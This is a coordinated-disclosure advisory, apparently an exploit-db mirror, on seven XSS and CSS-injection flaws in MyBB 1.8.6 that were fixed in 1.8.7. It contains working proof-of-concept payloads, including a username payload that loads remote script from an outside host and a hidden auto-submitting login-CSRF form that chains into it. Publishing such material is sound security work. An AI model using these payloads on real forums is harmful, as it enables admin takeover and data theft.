MyBB 1.8.6 – Cross-Site Scripting

  • 作者: Curesec Research Team
    日期: 2016-11-10
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  • 来源:https://www.exploit-db.com/exploits/40749/
  • Security Advisory - Curesec Research Team
    
    1. Introduction
    
    Affected Product:MyBB 1.8.6
    Fixed in:1.8.7
    Fixed Version Link:http://resources.mybb.com/downloads/mybb_1807.zip
    Vendor Website:http://www.mybb.com/
    Vulnerability Type:XSS
    Remote Exploitable:Yes
    Reported to vendor:01/29/2016
    Disclosed to public: 09/15/2016
    Release mode:Coordinated Release
    CVE: n/a
    CreditsTim Coen of Curesec GmbH
    
    2. Overview
    
    MyBB is forum software written in PHP. In version 1.8.6, it contains various
    XSS vulnerabilities, some of which are reflected and some of which are
    persistent. Some of them depend on custom forum or server settings.
    
    These issues may lead to the injection of JavaScript keyloggers, injection of
    content such as ads, or the bypassing of CSRF protection, which would for
    example allow the creation of a new admin user.
    
    3. Details
    
    XSS 1: Persistent XSS - Signature
    
    CVSS: Medium 5.0 AV:N/AC:L/Au:N/C:N/I:P/A:N
    
    Description: The profile editor of the moderator control panel does not
    properly encode the signature of a user when editing it. Because of this, a
    user can create a specifically crafted signature and - once a moderator or
    admin visits the profile editor for that user - the injected code will be
    executed in the context of the victims browser.
    
    Proof of Concept:
    
    Visit the profile at: http://localhost/mybb_1806/Upload/modcp.php?action=editprofile&uid=[USER_ID] As signature, use: </textarea><img src=no onerror=alert(1)>
    
    XSS 2: Persistent XSS - Forum Post (depending on forum settings)
    
    CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
    
    Description: An admin can allow HTML input for specific forums via the setting
    allowhtml. There are various filters in place which intend to make this safe,
    which may leave the admin with the impression that it is indeed safe. However,
    there are various possibilities to bypass these filters, mainly using HTML5
    features.
    
    Proof of Concept:
    
    <body onpageshow=alert(1)> -> Visiting the post will trigger the code <div
    contextmenu="mymenu" oncontextmenu=alert(1)>context menu</pre> -> A right-click
    will trigger the code <form action=""> Enter something: <input type="text" name
    ="myinput" oninput="alert(1)"><br> <input type="submit" value="Submit"> </form>
    -> Input into the field will trigger the code <form action=""> <input type=
    "text" name="myinput" oninvalid="alert(1)" required> <input type="submit" value
    ="Submit"> </form> -> A click on submit will trigger the code
    
    There are various other attributes which may also work, such as onsearch,
    onkeydown, onkeyup, ondrag, onscroll, oncopy, and so on. Other attributes such
    as onMouseOver or onFocus are filtered out.
    
    XSS 3: Persistent XSS - Username (depending on forum settings)
    
    CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
    
    Description: The username is echoed unencoded in the user area. As the login
    does not have CSRF protection and as an admin can be logged into the admin area
    with a different account than the one they are logged into the forum, a
    persistent XSS vulnerability in the user area can be exploited. However,
    successful exploitation most likely requires a username length of at least 43
    characters, which is more than the default settings allow.
    
    Simple Proof of Concept:
    
    1. register user with name f" onmouseover="alert(1)" b=" 2. login and visit
    http://localhost/mybb_1805/Upload/usercp.php 3. hover over the avatar
    
    The simple proof of concept can be improved to allow successful exploitation.
    It is not required for the victim to hover over the avatar or interact with the
    webpage in any way:
    
    1. As username, use: f" onerror="alert(1)" b=" 2. Set an avatar, and use a URL
    as source (not an image upload) 3. Delete the image from the remote host,
    making it unavailable, thus triggering an error and executing the injected
    code.
    
    Possible Payloads:
    
    Loading a script with vanilla javascript takes a lot more characters than are
    allowed in a username by default:
    
    "onerror="s=document.createElement('script');s.src='http://localhost/s.js';
    document.getElementById('top').appendChild(s)"
    
    As jQuery is loaded, this can be optimized:
    
    "onerror="$.getScript('http://aa.bc/s.js')
    
    Executing the payload for a victim:
    
    The attack does not require the victim to not be logged in as normal user, as
    one can login even when already logged in. The login as a normal user also does
    not affect the login as admin. Thus, an attacker could use the following
    payload to log a victim in and redirect them to the site containing the
    payload:
    
    <iframe id="myframe" style="display: none" name="myframe" src="about:blank"></
    iframe> <form method="post" action="http://localhost/mybb_1805/Upload/
    member.php" target="myframe" id="myform" name="myform"> <input name="action"
    type="hidden" value="do_login" /> <input name="url" type="hidden" value="http:/
    /localhost/mybb_1805/Upload/usercp.php" /> <input name="quick_login" type=
    "hidden" value="1" /> <input name="quick_username" type="hidden" value=
    ""onerror="$.getScript('http://localhost/s.js')" /> <input name=
    "quick_password" type="hidden" value="123456" /> <input name="quick_remember"
    type="hidden" value="yes" /> </form> <script>document.myform.submit();</script>
    
    It will automatically log the victim in and redirect them to the page that
    triggers the script execution. No action of the victim is required. The loaded
    script could for example perform a backup of the database and then send the
    attacker the name of the backup, as backups are stored in a public directory.
    
    XSS 4: Persistent XSS - Post Attachment (depending on server settings)
    
    CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
    
    Description: Attachments are uploaded to a public directory, and their
    extension is changed to .attach. Files with extension .attach that contain HTML
    code are interpreted as HTML files by some default server configurations (for
    example Apache). Additionally, the directory where the files are uploaded to
    does not prevent directory listing via an index.html file as all the other
    directories of MyBB do. Because of this, an attacker can find the name of the
    file and send it to a victim. Once the victim visits the link, the JavaScript
    code in the file would execute.
    
    Proof of Concept:
    
    1. upload HTML file containing <html><body><script>alert(1);</script></body></
    html> 2. find file located at /mybb_1805/Upload/uploads/YYYMM/
    RANDOM_STRING.attach. The YYYMM directory is not protected against directory
    browsing via an index.php or index.html file like most other directories of
    MyBB, which means depending on the server configuration, the file can easily be
    found 3. send admin there
    
    XSS 5: Reflected XSS - Account Activation
    
    CVSS: Medium 4.3 AV:N/AC:M/Au:N/C:N/I:P/A:N
    
    Description: The account activation form echoes a given code unencoded to the
    user, resulting in reflected XSS.
    
    Proof of Concept:
    
    http://localhost/mybb_1806/Upload/member.php?action=activate&uid=-1&code=">
    <script>alert(1)<%2fscript>
    
    XSS 6: Reflected XSS - Update (depending on locked state)
    
    CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
    
    Description: In many of the update scripts, POST values are echoed without
    proper encoding. The scripts are upgrade3.php, upgrade12.php, upgrade13.php,
    upgrade17.php, and upgrade30.php. As this attack only works when the forum is
    disabled, the forum itself cannot be attacked, but the attack could be used to
    attack other software hosted on the same domain.
    
    Proof of Concept:
    
    <form id="myForm" action="http://localhost/mybb_1805/Upload/install/
    upgrade.php" method="POST"> <input name="action" value="30_dbchanges_ip">
    <input name="iptask" value="5"> <input name="iptable" value="7"> <input name=
    "ipstart" value="<script>alert(1)</script>"> <input type="submit" value=
    "Submit"> </form> <script> document.getElementById("myForm").submit(); </
    script>
    
    XSS 7: Reflected CSS Injection
    
    CVSS: Low 2.6 AV:N/AC:H/Au:N/C:N/I:P/A:N
    
    Description: When displaying an error, MyBB echoes user input in a style
    context, allowing an attacker to inject CSS. With this, it may be possible to
    change the look of the website or extract information, and it may lead to XSS
    in older browsers.
    
    Proof of Concept:
    
    This script submits a search, which will trigger an SQL error because of the
    non-existing author. All it does then is change the background color of the
    error report to black to show the existence of the injection:
    
    <form id="myForm" action="http://localhost/mybb_1805/Upload/search.php/) ; }
    %23error { background: %23000000; } /*" method="POST"> <input name="action"
    value="do_search"> <input name="author" value="nonexistentauthor"> <input name=
    "matchusername" value="1"> </form> <script> document.getElementById
    ("myForm").submit(); </script>
    
    4. Solution
    
    To mitigate this issue please upgrade at least to version 1.8.7:
    
    http://resources.mybb.com/downloads/mybb_1807.zip
    
    Please note that a newer version might already be available.
    
    5. Report Timeline
    
    01/29/2016 Informed Vendor about Issue
    02/26/2016 Vendor requests more time
    03/11/2016 Vendor releases fix
    09/15/2016 Disclosed to public
    
    
    Blog Reference:
    https://www.curesec.com/blog/article/blog/MyBB-186-XSS-160.html
     
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